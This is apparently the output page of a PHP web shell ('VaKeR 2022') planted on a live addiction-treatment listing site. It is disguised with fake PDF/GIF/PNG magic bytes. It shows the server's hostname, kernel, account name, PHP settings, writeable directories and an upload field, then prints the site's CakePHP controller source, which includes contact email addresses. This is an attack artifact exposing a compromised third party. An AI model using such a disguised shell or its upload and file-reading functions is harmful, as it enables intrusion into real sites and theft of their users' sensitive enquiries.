%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/notification/cgi-bin/src/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/notification/cgi-bin/src/Controller/PagesController.php
<?php
namespace App\Controller;
use Cake\Core\Configure;
use Cake\Network\Exception\ForbiddenException;
use Cake\Network\Exception\NotFoundException;
use Cake\View\Exception\MissingTemplateException;
use Cake\Event\Event;
use Cake\Network\Session\DatabaseSession;
use Cake\Validation\Validator;
use App\Model\Validation\SellValidator;
use App\Model\Validation\ContactValidator;
use Cake\Utility\Security;
use Cake\ORM\Table;
use Cake\ORM\Entity;
use Cake\Auth\DefaultPasswordHasher;
use Cake\Mailer\Email;

class PagesController extends AppController
{
public function beforeFilter(Event $event)
{
    parent::beforeFilter($event);
	$this->loadModel("cities");
	$querycities = $this->cities->find('all', ['conditions' => ['action' => 'YES'],'order' => 'name'])->enableHydration(false);
	$this->set('querycities', $querycities);
	
	$this->loadModel('citybanner');	
    $querycitybanner = $this->citybanner->find('all', ['conditions' => ['action' => 'YES'],'order' => 'city'])->enableHydration(false);
    $this->set('querycitybanner',$querycitybanner);
	
	$this->loadModel("homelisting");
	$queryhomelisting = $this->homelisting->find('all', ['conditions' => ['action' => 'YES'],'order' => 'treatment'])->enableHydration(false);
	$this->set('queryhomelisting', $queryhomelisting);
	
	$this->loadModel("treatments");	
	$treatmentsvalue = $this->treatments->find('all', ['conditions' => ['action' => 'YES'],'order' => 'name'])->enableHydration(false);
	$this->set(compact('treatmentsvalue'));	
	
	$treatmentsoptions=$this->treatments->find('list',['keyField' => 'name','valueField' => 'name','conditions' => ['action' => 'YES'],'order'=>'treatments.name']);
	$this->set(compact('treatmentsoptions'));
	
}

public function home()
{
	$this->loadModel("centres");	
	$homecentres = $this->centres->find('all', ['conditions' => ['featured' => 'YES','action' => 'YES']])->enableHydration(false);
	$this->set(compact('homecentres'));
	
	$this->loadModel("citybanner");	
    $querycitybanner = $this->citybanner->find('all', ['conditions' => ['action' => 'YES','city'=>$city]])->toArray();
	$this->set(compact('querycitybanner'));
	
	
	$this->loadModel("homelisting");	
	$deaddication = $this->homelisting->find('all', ['conditions' => ['featured' => 'NO','action' => 'YES','treatment'=>'Drug De-Addiction Centre']])->toArray();
	
	$detoxtreatment = $this->homelisting->find('all', ['conditions' => ['featured' => 'NO','action' => 'YES','treatment'=>'Detox Treatment Centre']])->toArray();
	
	$nashakkendra = $this->homelisting->find('all', ['conditions' => ['featured' => 'NO','action' => 'YES','treatment'=>'Nasha Mukti Kendra']])->toArray();
	
	$nashakmedicine = $this->homelisting->find('all', ['conditions' => ['featured' => 'NO','action' => 'YES','treatment'=>'Nasha Mukti Medicine']])->toArray();
	
	$sexologist = $this->homelisting->find('all', ['conditions' => ['featured' => 'NO','action' => 'YES','treatment'=>'Sexologist(Gupt Rog Doctor)']])->toArray();
	
	$smokingcentre = $this->homelisting->find('all', ['conditions' => ['featured' => 'NO','action' => 'YES','treatment'=>'Smoking De-Addiction Centre']])->toArray();
	
// 	pr($deaddication);die;
	$homehomelisting = $this->homelisting->find('all', ['conditions' => ['featured' => 'NO','action' => 'YES']])->enableHydration(false);
	$this->set(compact('homehomelisting','deaddication','detoxtreatment','nashakkendra','nashakmedicine','sexologist','smokingcentre'));
}

public function all($value)
{
    // pr($value);die;
	$this->loadModel("centres");	
	$this->loadModel("homelisting");
	$this->loadModel("citybanner");
	$value=str_replace("-", " ", $value);
	if(strpos($value, ' in ') !== false){
	$name=explode(' in ', $value);
	$this->paginate = array('all','conditions' => ['city' => $name[1],'treatment LIKE' => "%".$name[0]."%",'action' => 'YES'],'limit' => 100);
	$this->set('homecentres',$this->paginate('centres')); 
	$this->set('name',explode(' in ', $value));
	}
	else{
	$this->paginate = array('all','conditions' => ['treatment LIKE' => "%".$value."%",'action' => 'YES'],'limit' => 100);
	$this->set('homecentres',$this->paginate('centres')); 
	}
	$this->set('value',$value);
	$this->set('title',$value);
	
	$querycitybanner = $this->citybanner->find('all', ['conditions' => ['city' => $name[1],'treatment LIKE' => "%".$name[0]."%",'action' => 'YES']])->enableHydration(false);
	$this->set(compact('querycitybanner'));
}

public function profile($name)
{
	$value=explode('--', $name);
	$this->loadModel("centres");
	$centerdetails = $this->centres->find('all', ['conditions' => ['city' => $value[1],'name LIKE' => "%".str_replace("-", " ", $value['0'])."%",'action' => 'YES']])->enableHydration(false);
	$this->set(compact('centerdetails'));	
	$this->set('name',explode('--', $name));
	$this->set('title',str_replace("-", " ", $name));
	
}

public function profiles($name)
{
	$value=explode('--', $name);
	$this->loadModel("homelisting");
	$homelistingdetails = $this->homelisting->find('all', ['conditions' => ['city' => $value[1],'name LIKE' => "%".str_replace("-", " ", $value['0'])."%",'action' => 'YES']])->enableHydration(false);
	$this->set(compact('homelistingdetails'));	
	$this->set('name',explode('--', $name));
	$this->set('title',str_replace("-", " ", $name));
}

public function search()
{
	
	if(!empty($this->request->getQuery('city'))){
	$this->loadModel("centres");	
	$this->paginate = array('all','conditions' => ['city' => $this->request->getQuery('city'),'treatment LIKE' => "%".$this->request->getQuery('treatment')."%",'action' => 'YES'],'limit' => 100);
	$this->set('homecentres',$this->paginate('centres')); 
	if(!empty($this->request->getQuery('treatment'))){
	$this->set('title',$this->request->getQuery('treatment').' in '.$this->request->getQuery('city'));
	}
	else{
	$this->set('title','Nasha mukti kendra in '.$this->request->getQuery('city'));
	}
	}
}
public function thanks() 
{
	if ($this->request->is('post')) {
	$this->loadModel("leads");	
	$mykey=hash('gost', strtotime(date('m/d/Y h:i:s a', time()))*rand(10, 200).'864/*7%^0fedy');
	$saveleads = $this->leads->newEntity();
	$saveleads = $this->leads->patchEntity($saveleads,['mykey'=>$mykey,'heading'=>$this->request->getData('heading'),'treatment'=>$this->request->getData('treatment'),'name'=>$this->request->getData('name'),'email'=>$this->request->getData('email'),'phone'=>$this->request->getData('phone'),'city'=>$this->request->getData('city'),'message'=>$this->request->getData('message'),'date'=>date('Y-m-d')]);
	$this->leads->save($saveleads);	

	$msg="Addiction Free India Portal Lead Generated";
	$msg=$msg."<table border='1' width='100%'>";
	$msg=$msg."<tr><td>TREATMENT</td><td>".$this->request->getData('treatment')."</td></tr>";
	$msg=$msg."<tr><td>NAME</td><td>".$this->request->getData('name')."</td></tr>";
	$msg=$msg."<tr><td>PHONE</td><td>".$this->request->getData('phone')."</td></tr>";
	$msg=$msg."<tr><td>CITY</td><td>".$this->request->getData('city')."</td></tr>";
	$msg=$msg."<tr><td colspan='2'>".$this->request->getData('message')."</td></tr>";
	$msg=$msg."</table>";

	$email = new Email('default');
    $email
    ->transport('webmail')
	->from('enquiry@addictionfreeindia.in')
    ->to("nashamuktiportal@gmail.com")
    ->subject('Addiction Free India Portal Lead Generated')
    ->emailFormat('html')
    ->viewVars(array('msg' => $msg))
    ->send($msg);
	}
}

public function thanku() 
{
	if ($this->request->is('post')) {
	   
	$this->loadModel("homelisting");	
	$data = $this->homelisting->find('all', ['conditions' => ['id' =>$this->request->getData('id') ]])->first();

	$this->loadModel("leads");	
	$mykey=hash('gost', strtotime(date('m/d/Y h:i:s a', time()))*rand(10, 200).'864/*7%^0fedy');
	$saveleads = $this->leads->newEntity();
	$saveleads = $this->leads->patchEntity($saveleads,['mykey'=>$mykey,'centrename'=>$data->name,'heading'=>$this->request->getData('heading'),'treatment'=>$this->request->getData('treatment'),'names'=>$this->request->getData('names'),'email'=>$this->request->getData('email'),'phone'=>$this->request->getData('phone'),'city'=>$this->request->getData('city'),'message'=>$this->request->getData('message'),'date'=>date('Y-m-d')]);
	$this->leads->save($saveleads);	
	
	$this->set(compact('data'));
	
	$msg="Addiction Free India Portal Lead Generated";
	$msg=$msg."<table border='1' width='100%'>";
	$msg=$msg."<tr><td>CENTRE ID</td><td>".$this->request->getData('id')."</td></tr>";
	$msg=$msg."<tr><td>TREATMENT</td><td>".$this->request->getData('treatment')."</td></tr>";
	$msg=$msg."<tr><td>NAME</td><td>".$this->request->getData('names')."</td></tr>";
	$msg=$msg."<tr><td>PHONE</td><td>".$this->request->getData('phone')."</td></tr>";
	$msg=$msg."<tr><td>CITY</td><td>".$this->request->getData('city')."</td></tr>";
	$msg=$msg."<tr><td colspan='2'>".$this->request->getData('message')."</td></tr>";
	$msg=$msg."</table>";

	$email = new Email('default');
    $email
    ->transport('webmail')
	->from('enquiry@addictionfreeindia.in')
    ->to("nashamuktiportal@gmail.com")
    ->subject('Addiction Free India Portal Lead Generated')
    ->emailFormat('html')
    ->viewVars(array('msg' => $msg))
    ->send($msg);
	}
	
	$value=explode('--', $name);
	$this->loadModel("homelisting");	
	$homelistingdetails = $this->homelisting->find('all', ['conditions' => ['city' => $value[1],'name LIKE' => "%".str_replace("-", " ", $value['0'])."%",'action' => 'YES']])->enableHydration(false);
	$this->set(compact('homelistingdetails'));	
	$this->set('name',explode('--', $name));
	$this->set('title',str_replace("-", " ", $name));
	
}
public function thankyou() 
{
	if ($this->request->is('post')) {
	
	$this->loadModel("centres");	
	$data = $this->centres->find('all', ['conditions' => ['id' =>$this->request->getData('id') ]])->first();

	$this->loadModel("leads");	
	$mykey=hash('gost', strtotime(date('m/d/Y h:i:s a', time()))*rand(10, 200).'864/*7%^0fedy');
	$saveleads = $this->leads->newEntity();
	$saveleads = $this->leads->patchEntity($saveleads,['mykey'=>$mykey,'centrename'=>$data->name,'heading'=>$this->request->getData('heading'),'treatment'=>$this->request->getData('treatment'),'names'=>$this->request->getData('names'),'email'=>$this->request->getData('email'),'phone'=>$this->request->getData('phone'),'city'=>$this->request->getData('city'),'message'=>$this->request->getData('message'),'date'=>date('Y-m-d')]);
	$this->leads->save($saveleads);	
	
	$this->set(compact('data'));
	
	$msg="Addiction Free India Portal Lead Generated";
	$msg=$msg."<table border='1' width='100%'>";
	$msg=$msg."<tr><td>CENTRE ID</td><td>".$this->request->getData('id')."</td></tr>";
	$msg=$msg."<tr><td>TREATMENT</td><td>".$this->request->getData('treatment')."</td></tr>";
	$msg=$msg."<tr><td>NAME</td><td>".$this->request->getData('names')."</td></tr>";
	$msg=$msg."<tr><td>PHONE</td><td>".$this->request->getData('phone')."</td></tr>";
	$msg=$msg."<tr><td>CITY</td><td>".$this->request->getData('city')."</td></tr>";
	$msg=$msg."<tr><td colspan='2'>".$this->request->getData('message')."</td></tr>";
	$msg=$msg."</table>";

	$email = new Email('default');
    $email
    ->transport('webmail')
	->from('enquiry@addictionfreeindia.in')
    ->to("nashamuktiportal@gmail.com")
    ->subject('Addiction Free India Portal Lead Generated')
    ->emailFormat('html')
    ->viewVars(array('msg' => $msg))
    ->send($msg);
	}
	
	$value=explode('--', $name);
	$this->loadModel("centres");	
	$centerdetails = $this->centres->find('all', ['conditions' => ['city' => $value[1],'name LIKE' => "%".str_replace("-", " ", $value['0'])."%",'action' => 'YES']])->enableHydration(false);
	$this->set(compact('centerdetails'));	
	$this->set('name',explode('--', $name));
	$this->set('title',str_replace("-", " ", $name));
	
	
}
public function aboutus()
{
}
public function listingform($id)
{
    $this->set(compact('id'));
}

public function homelistingform($id)
{
    $this->set(compact('id'));
}
public function faq()
{
}
public function privacy()
{
}
public function termsconditions()
{
}

public function exploreleads() {


	$this->loadModel("leads");	
	$this->paginate = array('all','conditions' => ['approved' => 'YES','visible' => 'YES','purchased'=>''],'order'=>(['date' => 'DESC']),'limit' => 100);
	$this->set('exploreleads',$this->paginate('leads'));
}


}
 

VaKeR 2022